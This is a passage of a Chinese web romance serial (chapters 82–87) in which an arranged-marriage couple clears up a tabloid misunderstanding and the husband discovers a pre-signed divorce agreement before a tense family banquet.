摸了老半天也没摸到。 转头一看,充电的地方已经没有手机了。 她记得手机就放在床头充电的呀。 岑予衿皱着眉头起床,在房间里找了好久也没找到手机。 难不成是昨天去皇都的时候落在那儿了? 还是说落车上了。 她拍了拍自己的脑袋,转身去洗漱。 等会下楼拿吴妈的手机打个电话吧,就怕是掉在哪个犄角旮旯里了。 岑予衿进衣帽间挑了一身粉色纱裙加同色系的毛衣穿搭。 不得不说陆京洲的眼光是真的很好,每一套衣服都是搭好的,直接拿出来穿就好。 在镜子前看了一眼,挺满意的才往楼下走。 已经过了午餐的时间,肚子有点饿了。 她刚下楼梯,就发现客厅里坐着个人。 岑予衿不自觉的抓紧了楼梯扶手。 陆京洲把他的新欢带回来了。 第82章 宋清菡!解释! 岑予衿上楼也不是,下楼也不是。 他光明正大的带回来,应该是想着和她坦白吧。 作为一个合格的联姻对象,她应该当做什么都看不见。 毕竟周时越带回来的时候,她大哭大闹了,反而招人厌。 岑予衿想着打个招呼就出门,就说去上班。 宋清菡低头绞着手指,陆京洲在厨房,今天她过来的时候他心情就不太好。 她也不敢招惹他,都在这儿坐了三个小时了,腿都麻了! 听到房间里传来下楼梯的脚步声,她下意识的抬头朝着声音来源看去。 这不看不要紧,一看眼睛都瞪直了。 这……这……这么漂亮的小姐姐是陆京洲的老婆! 天杀的,陆京洲他配吗? 老天爷太不公平了! 居然让这么漂亮的小姐姐嫁给那么残暴一男的。 拐一个! 宋清菡立马从沙发上站起来,朝着她的方向小跑了过去,热情的牵着她的手,声音夹到不能再夹,“姐姐,你好~我是宋清菡。” 姐姐? 陆京洲到底是怎么说服她来这儿的。 小姑娘长得挺漂亮的,应该很爱他吧。 岑予衿不知道自己该怎么办,只能陪着笑脸,“你好,周芙笙。” 长得漂亮就算了,名字还那么好听。 身上香香软软的,她好爱美女! 岑予衿在房间里看了一圈也没看到陆京洲的身影。 宋清菡看出来她在找人,解释道,“姐姐,京洲哥在厨房做饭。” 岑予衿一愣。 他们相处了那么长时间也没见他做过饭。 她一来陆京洲就下厨了。 她感觉自己就像是插足的小三。 宋清菡带着她在沙发上坐下,眼里发着光,“姐姐,你真的喜欢京洲哥吗?” 岑予衿不太清楚她为什么会这么问,却也觉得这个问题多少有点唐突,“他是我老公,喜不喜欢是我们之间的事情。” 按照以往的桥段,小姑娘会说,‘虽然你是他老婆,但他爱的人永远只会是我!’ 宋清菡一听她的语气就知道她误会了,“你别误会,我是觉得你太漂亮了,京洲哥配不上你,你想不想另找一个,我这里有一个很适合的……” 陆京洲听到外面有动静,刚出门就听到宋清菡这话,没忍住将自己手里的铲子朝她的方向砸了过去,“宋清菡,他妈的!我让你来这儿是为了拐我老婆来了?” 宋清菡听到他声音第1秒就开始腿软了。 铲子带着风声“哐当”一声砸在宋清菡脚边的地毯上,吓得她像只受惊的兔子猛地跳起来,迅速躲到岑予衿身后,只探出半个脑袋,声音发颤,“京洲哥……我、我开玩笑的……” 陆京洲脸色黑得能滴出水来,几步跨到沙发前,目光先是紧张地落在岑予衿脸上,见她神色平静,甚至带着点置身事外的淡漠,心口就像被针扎了一下。 他转而狠狠瞪向宋清菡,“再敢胡说八道,想去南极喂企鹅,还是去北极喂熊,随意!” 宋清菡瘪瘪嘴,委屈巴巴,但不敢反驳,只能小声对岑予衿,“姐姐,你看他真的超凶!” 陆京洲怕误伤自己老婆,忍住了脾气,走到她身边,居高临下的看着她,淡淡吐出两个字,“解释!” 岑予衿不明所以,他口中的解释到底是什么意思,打断了他的话,“昨天晚上你在我房间住,有没有看到我的手机?我要出门,但是手机找不到了。” 陆京洲听到这话表情有些不自然,从自己衣服兜里掏出手机,递给她,“今早你闺蜜给你打电话,我怕吵到你就顺手带下来了。” 岑予衿一惊,和闺蜜的聊天记录不会被他看到了吧? 她们啥都聊,哪怕是死都要格式化的! 不可能,他不知道她的手机密码。 陆京洲应该也不是那么多管闲事的人,不可能看她手机。 “她给你发消息的时候,我恰好看到了。” 岑予衿一听这话,立刻把手机抢了回来,点开手机看了一眼。 心凉了半截。 这下误会可大了。 麻木的从沙发上起身,冲他摆了摆手,“那个……她说话比较冲,你不要放在心上。” 岑予衿往后退了两步,拉开了与他之间的距离,“至于你们俩之间的事情,我都知道了,那天上热搜的时候我就看到了,你和宋小姐确实很般配。” 岑予衿都不知道自己是怎么说出这些话的,这个房间里的气压低到窒息,她是真的待不下去了。 陆京洲看着她的动作,心一下子沉到了谷底,“不是……” “你别说话,先听我说完。”不过既然现在开口了,那说清楚也好。 “本来嫁给你就是我一厢情愿的事情,你是受害者,现在你有喜欢的人了,我不会纠缠不清,孩子正好两个,到时候你……你可以先挑,你要是不喜欢我养也可以,我不会让他们出现在你面前。” 宋清菡越听越不对劲。 这下完了。 她闯大祸了。 惹了两尊大佛。 岑予衿真的快窒息了,语速超快,生怕他们会误会,“我还有点事情,就不打扰你们了,今晚我去奶奶那儿跟她说清楚,估计就在那边住下,不回来了。” 她握着手机的指节泛白,声音都有些控制不住。 慌乱的转身往外走。 现在的她只想尽快逃离这个修罗场,完全没注意到脚下。 “砰——” 一声闷响,小腿肚传来一阵尖锐的刺痛。 她整个人不受控制地向前踉跄,膝盖一软,眼看就要重重摔在地毯上。 “笙笙!” 陆京洲脸色骤变,一个箭步冲上前,长臂一伸,在她彻底倒地之前,稳稳地将人捞进了怀里。 他的动作快得惊人,带着一种不容置疑的力道。 岑予衿撞进一个坚硬的胸膛,熟悉的味道瞬间将她包裹。 惊魂未定之下,小腿的疼痛愈发清晰,让她忍不住倒抽了一口冷气,眉头紧紧蹙起。 “怎么样?撞到哪里了?是不是很疼?”陆京洲的声音紧绷,带着显而易见的焦急和怒气,但那怒气显然不是冲她的。 他扶着她,想让她在沙发上坐下检查。 “我没事……”岑予衿挣扎着想从他怀里出来,“宋小姐,你别误会……” “别动!”陆京洲低喝一声,语气是前所未有的严厉,带着不容抗拒的意味。 他强行扶着她坐下,自己则单膝跪在地毯上,不由分说地伸手掀开她的裙摆。 她白皙纤细的小腿肚上,已经迅速红肿起一道明显的棱子,在周围肌肤的映衬下,显得格外触目惊心。 陆京洲的呼吸一滞,眼神瞬间沉得能滴出水来。 他抬起头,目光如利箭般射向还傻站在一旁的宋清菡,声音冷得像冰,“宋、清、菡!解释!” 第83章 姐个鬼!换个称呼! 宋清菡刚才就想说话来着,一直没有机会,这会听他这么一吼,赶紧走到她面前开口,“姐姐……” “姐个鬼!换个称呼!搞得好像我真的跟你有什么关系似的。”陆京洲一记眼刀扫了过去,声音冷得吓人。 “嫂子,事情不是你想的那个样子。”宋清菡本来就见他怕的要死。 刚才也不知道是不是被鬼上身了,居然敢在他的地盘光明正大的拐人。 “正式介绍一下,我是他的前未婚妻宋清菡。” 前未婚妻? 岑予衿皱眉,看向面前的男人,已经搞不清楚到底是怎么回事儿了。 陆京洲的注意力完全集中在她的伤。 起身去拿了医药箱。 宋清菡也没闲着,立马解释,“我从小就怕他,知道要跟他联姻,想死的心都有了。而且……我有男朋友,那张照片纯属误会。” “我没戴眼镜,他穿的衣服和我男朋友撞衫了,我没注意就抱了上去,抱完才发现是他,立刻就撒手了。没想到被媒体胡编乱造,让你误会了。” 宋清菡看着她腿上的伤,更加不好意思了,“实在抱歉,他就是害怕你看到消息会误会,把我从国外逮回来就是想让我跟你解释清楚。” 说到后面,她声音越来越小,“我是看你实在长得太漂亮了,他又那么凶……单纯觉得他配不上你,没忍住……” 她生怕她不相信,还拿出了自己和男朋友的合照,以及聊天记录。 里面有他们俩从在一起到现在经历过的事情。 还有那件和陆京洲很像的衣服,“嫂子,我敢用我和我男朋友的未来发誓,我说的每一句都是实话。我真的跟他一点关系都没有,也不敢跟他有半毛钱关系,你千万别误会。” 陆京洲已经在帮她处理伤口了,眉头皱的很深很深,声音温柔,“可能会有点疼,你忍忍。” 随后头也不抬道,“你可以滚了!有多远滚多远!” 就是因为她这么随手一抱,惹出了多大的麻烦。 还敢光明正大的拐自己老婆,这越想越生气。 宋清菡听到这话恨不得跪下给他磕两个,立马拿出了自己的名片递给岑予衿,“嫂子,这是我的联系方式。” 宋清菡逃似的离开了别墅,偌大的客厅里只剩下他们两人。 陆京洲半跪在地毯上,动作极其轻柔地为她揉着伤处,药油在他掌心搓热,力道不轻不重,恰好化开瘀血。 整个过程,他都紧抿着唇,眉头深锁,仿佛受伤的人是他自己。 岑予衿看着他专注的侧脸,心绪复杂难言。 误会似乎是解开了,可之前的难堪、委屈,以及她脱口而出的那些“分孩子”的决绝话语,还尴尬地悬在空气里。 药油揉开,带来一阵热辣辣的刺痛,她下意识地缩了缩腿。 “别动,马上好。”陆京洲立刻放轻了力道,低声安抚。 他处理好伤口,仔细替她放下裙摆,却没有立刻起身,而是维持着那个半跪的姿势,抬起头,深邃的目光直直地望向她。 “笙笙。”他开口,声音低沉,带着一种前所未有的郑重,“对不起。” 岑予衿指尖微微一颤,移开了视线,“是我的问题,我不分青红皂白的冤枉了你。” “我想说的不是这个,周时越替你挡了一刀那天,我问过你,是不是他亲妹妹,是因为我发现你和他之间的关系,并不是我想象中的那样,我怀疑你喜欢过他,不确定现在还喜不喜欢他,我不敢问你。” 陆京洲第一次和别人道歉,“想到我去半山别墅救你那天看到的照片,已经可以确定了,他还替你挡了一刀,那时候我就在想为什么我不能早一点点,那样替你挡下那一刀的就是我,我就有点胜算了。” 陆京洲重重的叹了口气,“我不知道该怎么面对你,就跑到国外去了,手机都不敢开机,直到前几天的那场乌龙……我最担心的就是你会误会,所以着急忙慌的回来了。” 陆京洲说完这番话,耳根有些发烫。 他从未在任何人面前如此剖白过自己,更别说这样近乎示弱的坦白。 岑予衿怔住了,看着他依旧半跪在自己面前的姿势,还有那双总是深沉难测的眼睛里此刻清晰可见的慌乱与笨拙,心口像是被什么东西轻轻撞了一下。 “我不知道应该怎么喜欢一个人,没有人教过我,所以我也不知道该怎么和你相处,我知道你说你暗恋我10年是假的,可是你是从我记事以来,对我最好的人。经过这段时间的冷静,我想明白了……你可不可以再给我一个追求你的机会?” 岑予衿听着他的话,难以置信。 脑子已经转不过弯儿来了。 这……是她从没有想过的发展方向。 他是害怕她不把檀月山庄还给他吗? 她张了张口,还没说话,陆京洲就一把捂住了她的嘴,“你思考的时间太长了,我就当你默认了,不许说话。” 岑予衿:“……” 陆京洲小心翼翼的把她从沙发上抱了起来,往餐厅的方向走,“先吃饭,你放心,我真的真的不会这样了。” 岑予衿从来没有见过这么别扭的男人。 不过按他所说,确实没有继续开口说话。 陆京洲把她按在椅子上,转身进厨房端菜。 岑予衿到现在都还没回过神来。 等她回过神来,面前已经摆了一大桌子家常菜了。 第84章 一份印着《离婚协议书》的文件 岑予衿一眼扫过去,满满一大桌色香味俱全。 至少是十菜两汤! 他特意安排张妈做的? 看起来不太像。 一抬眼就见陆京洲拿了两个小碗从厨房里出来。 一个小碗里装了一小份蒸的胖嘟嘟的白米饭,另一个则是空碗。 他将那个盛着白米饭的小碗推到她面前,又在另外那个空碗里盛了一碗山药排骨汤,晾在旁边。 “先吃饭吧,让汤稍微凉一下。” 陆京洲在她对面位置上坐下,却没有动筷,只是看着她。 岑予衿本来就有点饿,这会看着满满一大桌子的菜,立马有了食欲。 夹了一筷子清炒时蔬,味道清爽,火候正好,眼睛都亮了。 又试了试旁边颜色鲜亮的糖醋小排,直接被惊艳! 她那小馋猫似的表情被陆京洲尽收眼底,嘴角忍不住往上勾了勾,声音里带着一丝丝不易察觉的紧张,“味道怎么样?” 岑予衿重重的点了点头,冲他竖了个大拇指,“超棒!咱们家换厨师啦?” 陆京洲听到这话忍不住笑出了声,“不是咱家换厨师了,是你的厨师换了。” 岑予衿一下子没反应过来,他这话是什么意思。 看着他一脸求夸夸的幼稚表情,一下子就明白了。 合着……这一大桌子的菜是他做的? “都是你做的?” 陆京洲满脸傲娇,“那是!道歉就要有道歉的态度,罚我当你一辈子厨师,可以原谅我一次吗?” 岑予衿夹菜的动作一顿,微愣,一时不知道该怎么回答。 陆京洲立刻收回了视线,“喜欢就多吃点。” 见她刚吃了两口,又不太开心了,也有些慌,急忙解释,“我说要追你是认真,你不用觉得有压力,也不用急着回应我。” 他抬眼看着她,视线与她齐平,黑眸映照着她的身影,话说的格外认真,“我只是想告诉你,我会学。学着怎么对你好,怎么让你开心,怎么……让你能喜欢上我。” 他的目光太灼人,岑予衿有些招架不住地别开脸,指尖无意识地握紧了手里的筷子,“你没必要这样……” “有必要。”他打断她,语气斩钉截铁,“我是新手,没有技巧全是感情。” 陆京洲收回了自己的视线。 饭桌上安静下来,只余碗筷轻微的碰撞声。 “你不吃吗?” “我吃过了。”陆京洲带上手套开始剥虾,只是每次她碗里的菜稍微少一点,他就会极其自然地给她夹满,虾剥了壳,全堆在她旁边的小碟子。 岑予衿看着堆成小山的碟子,终于忍不住开口,“够了,我吃不下这么多。” 陆京洲动作一顿,从善如流地放下公筷,转而给她添了半碗汤,“那再喝点汤,才一个月就瘦了那么多。” 他这般小心翼翼、近乎笨拙的讨好,与平日里那个目中无人的陆京洲判若两人。 也没想到她瘦了他也发现了。 “你不是也瘦了?”岑予衿下意识的反驳。 陆京洲眼里满是惊喜,她……她居然也发现了。 那是不是说明她也是关注他的,她关注他,是不是说明她对他也有一点点好感? “就一点点。” 岑予衿心里那点别扭像遇热的黄油,一点点软化。 接过了接过了,刚被他添上的小碗汤,汤色奶白,味道真的出奇的好。 她都吃撑了。 陆京洲让人收拾了碗筷,犹豫了一下才开口,“老婆,你今天还要出门吗?” “怎么啦?” 岑予衿没打算出门,只是刚才想着给他俩腾位置,这才随口编了个谎话。 “晚上陆家家宴,奶奶让我们提前过去,你要是有事儿的话就算了,咱不去就是了。” 不去怎么能行? 结婚到现在,她连陆家的人都没有认清。 而且奶奶都让他们提前过去,万一有什么重要的事儿呢? “什么时候出发?” 陆京洲端了一小盘,已经切好的水果放在她面前,特意摆了盘,很好看。 “累了的话可以上去休息会儿,再过去。” 陆京洲指了指面前的果盘,“吃点饭后水果。” “谢谢。”岑予衿真的很不习惯这样的他。 岑予衿用叉子叉起一块蜜瓜,清甜多汁。 她犹豫了一下,又叉起一块,递到他面前,“你也吃。” 陆京洲明显愣了一下,深邃的眼底迅速掠过一丝受宠若惊。 他微微倾身,就着她的手,小心翼翼地将那块蜜瓜含进嘴里。 “甜。”他看着她,低声说,也不知道是在说瓜,还是在说别的。 岑予衿午饭吃的很饱,这会也吃不下多少。 “我先上楼休息会儿。”岑予衿放下叉子,站起身。 “好,”陆京洲也跟着站起来,“我送你上去。” “不用,我自己可以。”她脚踝只是磕到,并不严重。 陆京洲却已经不由分说地走上前,一把将她打横抱起。 他的动作更加熟练,臂弯稳健,胸膛温热。 “伤员要有伤员的自觉。”他语气带着不容置疑,眼底却漾着浅淡的笑意。 岑予衿下意识地揽住他的脖颈,鼻尖萦绕着他身上清冽好闻的气息,挣扎的念头悄然消散,任由他抱着自己,一步步稳稳地走上楼梯。 他将她轻放在主卧的大床上,把手机递给她,“晚上要穿的衣服帮你挂好,要走的时候再叫你。” “好。” 陆京洲出了门才重重的呼出一口气。 一切看起来都在往好的方向发展,可只有他知道,他们俩的相处模式变了。 中间似乎隔着什么东西,摸不着,更戳不破。 慢慢来吧,一切都是自己作的。 …… 夕阳染红天际,车子在陆家老宅门口稳稳停下。 早已候在门口的管家迎了上来,恭敬地拉开车门,“二少爷,二少奶奶,老太太一直在念叨你们呢。” 陆京洲先下车,绕到另一侧,没给岑予衿自己下车的机会,直接俯身将她抱了出来。 “岑予衿轻呼一声,手下意识抓住他胸前的衣料,“快放我下来,让奶奶看到了像什么话。” 这像什么样子。 “脚伤没好,别逞强。”陆京洲手臂稳稳托着她,面不改色地抱着她踏上青石台阶,径直往老太太的屋里走去,“再说了,看见就看见,我抱我老婆天经地义。” 沿途的佣人看到这一幕,眼里皆是震惊。 才几个月没见,感情升温这么快? 屋内燃着淡淡的檀香,陆家老太太正戴着老花镜,靠在窗边的软榻上不知道在翻看着什么。 闻声抬头,一眼就瞧见自家孙子抱着孙媳大步流星进来的模样。 老太太眉头立刻拧成了疙瘩,摘下老花镜,“笙笙这是怎么了?” “奶奶就是磕了一下,没什么事儿,是他非要抱着。”岑予衿不好意思的解释。 “你个混球!自己媳妇儿都照顾不好,快把人轻轻放这儿来。” 老太太腾了个位置。 陆京洲把人放下,她立刻上前查看。 看到小腿青了一大块儿,眼里满是心疼,没忍住,抬手揍了他几拳。 陆京洲也没躲。 “奶奶,您别生气,是我不小心磕到脚了,他已经帮我处理过伤口了。”岑予衿连忙解释。 老太太却不听,瞪着陆京洲,“你个愣头青,毛手毛脚的,能照顾好谁?” 她越说越气,伸手指着2楼,“去!二楼书房,左边第一个抽屉,把我那盒活血化瘀的膏药拿来!赶紧的!” 陆京洲被骂得摸了摸鼻子,一句不敢反驳,“是,奶奶,我这就去。” 冲岑予衿挑了眉往楼上走。 推开书房的门,弥漫着陈旧书籍和墨锭的混合气息扑面而来。 陆京洲按照老太太说的,拿到了一个古法的小药盒。 刚要往下走,手肘却不小心带到了桌上的文件堆。 纸张散落一地。 陆京洲蹙眉,俯身去捡,视线却不自觉的落在了一个摊开的文件夹上。 目光猛的顿住。 一份文件的标题,清晰地印着《离婚协议书》几个字。 第85章 所以是自己的离婚协议? 陆京洲的手一顿。 在好奇心的驱使下,拿起了那个文件夹。 老太太年纪这么大,老爷子都去世那么长时间了,书房里怎么还会有离婚协议这种东西? 难不成老爷子没去世之前,他俩就决定离婚了? 那么老才离婚,绝对是犯了什么触犯天条的大事儿。 陆京洲勾了勾唇,八卦之魂瞬间燃烧。 他饶有兴致地翻开,目光扫过协议内容,嘴角那点戏谑的弧度却在看到甲方签名处时,骤然僵住。 特别娟秀的三个大字出现在了眼前——周芙笙! 前一秒,嘻嘻! 后一秒,不嘻嘻! 刚才因发现秘密而微微扬起的嘴角,立刻收拢了回来。 离婚协议,甲方还是周芙笙。 是她要求签这份离婚协议的。 为什么? 他们不是联姻吗? 联姻为什么还要签离婚协议? 各种问题在他的脑子里聚焦,他怎么也想不通。 陆京洲仔细的翻看着离婚协议。 他的指尖冰凉,双手止不住的颤抖,几乎要捏不住那几张薄薄的纸。 他逐字逐句地看着,条款清晰得刺眼: 协议生效日期:自签署之日起一年后。 子女抚养权:若婚姻存续期间育有子女,抚养权归男方陆京洲所有。 女方义务:配合完成一年婚姻期,期间维持表面和睦,尽到自己应尽的责任。 男方义务(陆英霞女士代表陆家承诺): 1.协议生效后,协助女方周芙笙更改身份信息,妥善安排其出国。 2.将岑氏集团所有权及经营权完整移交至女方周芙笙名下。 3.一次性支付女方周芙笙现金拾亿元整。 “……” 原来如此。 原来根本不是什么老爷子老太太的陈年旧事。 这赫然是他和周芙笙的离婚协议! 一份早已拟好,只待时机的协议! 心脏像是被无数细密的针扎透,钝痛沿着四肢百骸蔓延开。 他想起她刚才在车上,被他抱在怀里时那片刻的温顺。 想起她喂他吃水果时,那一点点不易察觉的亲近。 想起她为他做的油纸伞,亲手织的围巾,还有她的奋不顾身的维护。 老太太打他时,拼了命护在他身上。 都只是在配合,为了那一纸协议吗? 一年之期? 孩子归陆家? 改名换姓远走他乡? 所以,她留在他身边,忍受他的坏脾气,努力扮演一个合格的妻子,从头到尾,都只是为了岑氏集团,为了那十个亿,为了……一年后的自由? 那她刚才的软化,她发现他瘦了时下意识的关心,又算什么? 是演技太过精湛,还是……连她自己都偶尔会入戏? 巨大的恐慌交织着席卷了他。 他陆京洲,从头到尾都被她们俩蒙在鼓里蒙。 她真的……一刻也没有喜欢过他吗? 陆京洲的手颤抖着几乎要拿不住东西,喉咙里就像卡了什么东西,酸酸的。 所以她看到冲上热搜的绯闻,一点也不在意,是因为她一年后要离开他吗? 一想到这些陆京洲的心脏就痛的要命。 他已经陷进去了,为什么要突然告诉他,这一切都是假的! 他也是人,他的心也是肉做的,他也会疼。 他就真的不配拥有爱吗? “混账东西!拿个药膏要拿到地老天荒吗?你是不是想疼死笙笙!”老太太的怒吼再次从楼下传来,带着真切的心急。 陆京洲猛地闭上眼,深吸一口气,再睁开时,眼底已是一片骇人的猩红和沉郁。 他迅速将散落的文件胡乱收拢,把那份离婚协议死死攥在手里,几乎要将它捏碎。 深吸了一口气,平复心情之后,将那份皱巴巴的离婚协议折起来,放进自己衣服口袋。 随后,他拿起那个古法的药盒,转身,一步步走下楼梯。 每一步,都像是踩在碎玻璃上,疼的他呼吸不过来。 回到房间,他脸上的表情已经恢复了平静。 他沉默地蹲在岑予衿面前,打开药盒,取出膏药。 动作依旧轻柔细致,仿佛捧着什么稀世珍宝。 老太太在一旁看着,满意地点点头,“这还差不多。轻点揉,把药力化开。” “嗯。”陆京洲低低应了一声,“疼的话和我说。” 他的指尖带着药膏的微凉,触碰到她脚踝的皮肤。 岑予衿轻轻颤了一下,他立刻抬起了眼,“我弄疼你了吗?” 岑予衿摇头,目光和他对视,视线被他微红的眼眶吸引。 他怎么了? 刚刚上楼的时候还好好的,眼睛怎么这么红。 “阿洲,你眼睛怎么了?” 陆京洲胡乱的收回了视线,继续专注着手里的动作,“没事儿,书房门开着,刚才去关的时候,被风吹着了。” 岑予衿没在怀疑,“煮个鸡蛋热敷一下吧。” 陆京洲摇了摇头,心里满是苦涩。 一切都是假的,她为什么还要这么关心他。 “没事儿,一会就好了。” 老太太在旁边打趣道,“他哪有那么娇贵,就你瞎担心。” 陆京洲仔细地将药膏涂抹均匀,指尖在她脚踝处停留了片刻,那细腻温热的触感此刻却像火焰般灼烧着他的心。 他抬起头,目光幽深地望进她带着关切的眼睛里,嘴角极力想扯出一个轻松的弧度,却只牵起一丝苦涩的纹路。 “好了。”他声音有些沙哑,撑着膝盖站起身,高大的身影似乎带着难以言说的沉重。 他朝老太太勉强笑了笑,“奶奶,药上好了,家宴应该快开始了,你们俩聊,我回屋找点东西,等会再过来接笙笙。” 老太太冲他摆了摆手,注意力全在岑予衿身上,“去吧去吧。” 看着他稍显落寞的背影,岑予衿微微蹙起了眉。 她总觉得陆京洲从楼上下来后,整个人都不一样了。 那双向来深邃锐利的眼眸,翻涌着她看不懂的情绪。 老太太也若有所思地看着门口方向,浑浊却精明的眼睛里闪过一丝了然,随即轻轻拍了拍岑予衿的手背,语气带着安抚,“别管他,准是又犯驴脾气了。一会儿就好了,脚感觉怎么样?” “好多了,奶奶,这药膏很舒服。”岑予衿收回视线,压下心头那点异样,乖巧地回答。 “成分很安全,等会拿回去让他给你涂。” 陆京洲出了老太太的屋,脸色阴沉的,能滴出水来,身上的气压低到极致。 和刚才进门时大相径庭。 像是又变回了那个不近人情,做事毫无条理的二世组,谁也不敢上前触了他的眉头。 佣人们就这么低着头看着他离开院子。 等他走远了才敢把头抬起来。 陆京洲回了自己的房间,把门反锁,进浴室,从包里把那份离婚协议拿了出来,狠狠的拍在洗手台上。 他不想继续待在那个房间里,他怕自己会控制不住! 第86章 手怎么受伤了? 冰冷的水流哗哗作响,陆京洲双手撑在洗手台边缘,任由冷水冲刷着后颈,试图浇灭心头那团灼烧的火焰。 水珠顺着他紧绷的下颌线滑落,混着眼角难以自控的湿意,砸在冰冷的台面上。 他抬起头,镜中的男人眼眶通红,额发凌乱,脸上水痕交错,狼狈得不像他自己。 那份被水渍晕开些许的离婚协议,就静静地躺在旁边,像一道狰狞的伤疤,嘲笑着他刚萌芽的爱情。 “配合完成一年婚姻期……” “维持表面和睦……” “尽到自己应尽的责任……” 每一个字都像淬了毒的针,扎得他体无完肤。 心脏传来一阵阵尖锐的绞痛,让他几乎无法呼吸。 陆京洲猛地一拳砸在镜子上,玻璃应声碎裂,映出他扭曲破碎的面容和鲜血淋漓的指关节。 疼痛让他稍微清醒了一些。 他该怎么办? 撕破脸,现在就去质问她? 然后呢?看着她或许惊慌,或许平静地承认,然后提前结束这场交易? 还是说把这份离婚协议不知不觉的撕了,就当什么事情都没有发生过。 可他又怎么知道这份协议有没有备份? 如果真的有备份,就算撕十份百份也没有用。 不论哪一条他都做不到。 他做不到! 哪怕只是虚假的温情,哪怕只是演戏,他也贪恋。 凭什么她招惹了他之后,还想全身而退。 怪不得那天产检的时候,她说要是他们俩离婚,孩子能不能分她一个,原来一切都有迹可循。 可是两个宝宝又何尝不无辜? 他也不想让自己也像自己一样,爹不疼,娘不爱,重蹈他的覆辙。 都说,有了后妈就会有后爸,这他是切切实实体会过的。 手上的血,滴答滴答的落在洗手池,在水中晕开,红得刺目。 她强势闯进了他的世界,那没有他的允许,她休想逃离半步。 他说过她要是敢跑,先弄死她,再殉情。 他陆京洲说到做到。 一年的时间,足够改变很多事情,哪怕是石头做的心,应该也能捂热吧。 就算捂不热,他拿火烤,拿水煮,也得把它煮的烫烫的。 至于这份离婚协议……等今晚的家宴结束,他会找她问清楚。 一年……已经过去了多久? 他甚至不敢细算。 巨大的恐慌和无力感几乎要将他吞噬。 他靠在冰冷的瓷砖墙壁上,缓缓滑坐在地,将脸深深埋入膝盖,像一个被全世界抛弃的小孩。 为什么他想要的都会被老天爷无情的夺走? 不知过了多久,门外传来轻轻的敲门声,伴随着那个熟悉到极点的声音,“阿洲?你在里面吗?奶奶让我们过去了。” 陆京洲浑身一僵。 他迅速站起身,看着镜中狼狈不堪的自己,以及手上还在渗血的伤口,深吸一口气,用最快的速度清理了手上的血迹和地上的碎玻璃,将那份致命的协议重新藏好。 他打开水龙头,又用冷水用力搓了把脸,努力让自己的表情看起来正常一些。 然后,他深吸一口气,打开了门。 岑予衿站在浴室门口,看着他湿漉漉的头发和依旧有些发红的眼眶,以及……他下意识蜷缩起来、试图隐藏的右手。 “你的手怎么了?”她目光敏锐地落在他手上。 陆京洲将手往身后藏了藏,扯出一个若无其事的笑容,“没事,不小心碰了一下,走吧。” 岑予衿不知道到底发生了什么,但他身上那血腥味实在是太浓了。 小心翼翼的伸出手,将他藏在身后的时候拉了出来。 手背血入模糊,隐约还能看到碎玻璃渣。 岑予衿手足无措,根本就不敢碰,“手怎么伤的这么严重?” “这不行,得去医院包扎一下。” 陆京洲收回自己的手,可拽了两下才发现拽不动,被她握得紧紧的。 “家宴要开始了,群里发了通知,应该是有什么重要的事情宣布。” 岑予衿牵着她的手,让他坐在了沙发上,“再重要,也不能这么去吧,坐好,我给你简单处理一下。” 这个房间他们俩一起住了几天,她还挺熟悉的。 转身去拿医药箱,小心翼翼的替他把碎玻璃渣用镊子夹了出来,又用消毒水消毒。 边吹气边帮他包扎伤口,“宴会结束,我带你去医院仔细的检查一下。” “老婆,你为什么对我这么好?” 岑予衿被他这话问的一愣,皱着眉头,随即反问,“我对你好,不是应该的吗?你对我也挺好的。” “谢谢。”陆京洲抽回了自己的手,声音有些不自然。 岑予衿看着他明显不对劲的状态,以,及他手上那可疑的痕迹,心中的疑虑更深了。 但他不愿多说,她抿了抿唇,终究没有追问。 陆京洲用没受伤的那只手牵起了她的手,假装不在意的冲她笑了笑,“走吧。” 岑予衿点了点头,跟着他往外走。 第87章 陆京洲持股0% 陆京洲走了牵着她走了几步,就发现她走的很慢。 脚应该还是很疼。 陆京洲停下了脚步,在她没反应过来就俯身将她公主抱了起来。 岑予衿都已经习惯,抬手环住了他的脖子。 不过……陆家人很多,那些大家长看陆京洲不顺眼,要是在让他们看到他光明正大的抱着他进去,肯定有话说。 “阿洲,你……快到门口的时候把我放下来,我自己进去。” 陆京洲低头看着她,脚步依旧稳健,“怎么了?怕他们乱说?” 岑予衿点了点头,“嗯。” 陆京洲的臂弯收紧了几分,将她更牢地圈在自己怀里。 他低头,额前的碎发扫过她的脸颊,声音低沉而坚定,“让他们说,一群老古董罢了,不用理。” 他们对他,本来就没什么好脸色,他想要的已经到手了。 要不是奶奶还在陆家,他绝对不会踏进半步。 陆京洲抱着她,穿过长长的回廊。 晚风拂过庭院里的玉兰树,带来细微的沙沙声响。 她靠在他胸口,能清晰地听见他沉稳有力的心跳。 果然如岑予衿所想,当他们出现在宴会厅门口,原本喧闹的谈笑声霎时一低,无数道目光齐刷刷地投射过来。 惊讶、审视、不屑、甚至还有厌恶! 陆京洲恍若未觉,他甚至没有停下脚步,径直抱着岑予衿走向主桌方向,直到走近了,才在众目睽睽之下,小心翼翼地将她安置在紧挨着陆老太太的位置。 主位坐着的是陆京洲的叔公陆泓远和陆老太太。 岑予衿抬头看他,这……不该是她坐的位置吧? 陆京洲淡淡的解释,“这个位置舒服。” 说完不顾陆鹤嵩阴沉到极致的脸色,坐在了她旁边。 陆老太太也开了口,“笙笙就坐这儿。” 老太太都这么说了,岑予衿也不好再多说什么。 陆家人基本上都没见过岑予衿,谁都没想到她会那么漂亮。 不过转念一想,漂亮又有什么用,还不是叫了个废物,心里瞬间平衡了不少。 陆鹤嵩和苏月兰在老太太的另一边落座。 苏月兰作为陆京洲名义上的后妈,看似关心的开了口,“笙笙,这段时间住的还习惯吗?前段时间陪着沉奕出国了,回国才发现,你和阿洲搬出去住了。” 伸手不打笑脸人。 岑予衿想回复,可是一时间不知道该叫什么。 她对陆京洲这个后妈是半点好感都没有。 了解了她是怎么对陆京洲后,只有厌恶。 她还没开口呢,陆京洲就怼了回去,“她习惯得很,不劳你费心。” 陆京洲眼皮都未抬,声音更是半分尊重都没有,“毕竟,没有外人在,我们过得更好。” 外人两个字被他咬得极重,像一记无声的耳光,狠狠扇在苏月兰脸上。 苏月兰保养得宜的脸上笑容瞬间僵硬,握着酒杯的手指微微收紧,指节泛白。 她强撑着笑意:“京洲,你看你这话说的,我毕竟是你的长辈,关心一下也是应该的。” “关心?”陆京洲终于侧过头,目光如淬了寒冰的利刃,直直射向她,“是关心我什么时候彻底滚出陆家,还是关心我手里的东西,什么时候能落到你儿子手里?” 被点到的陆栩然,一下子就站了起来,“二哥,我的东西就是你的东西,你的东西还是你的东西,我不要。” 陆京洲白了他一眼,“闭嘴,吃你的东西!” 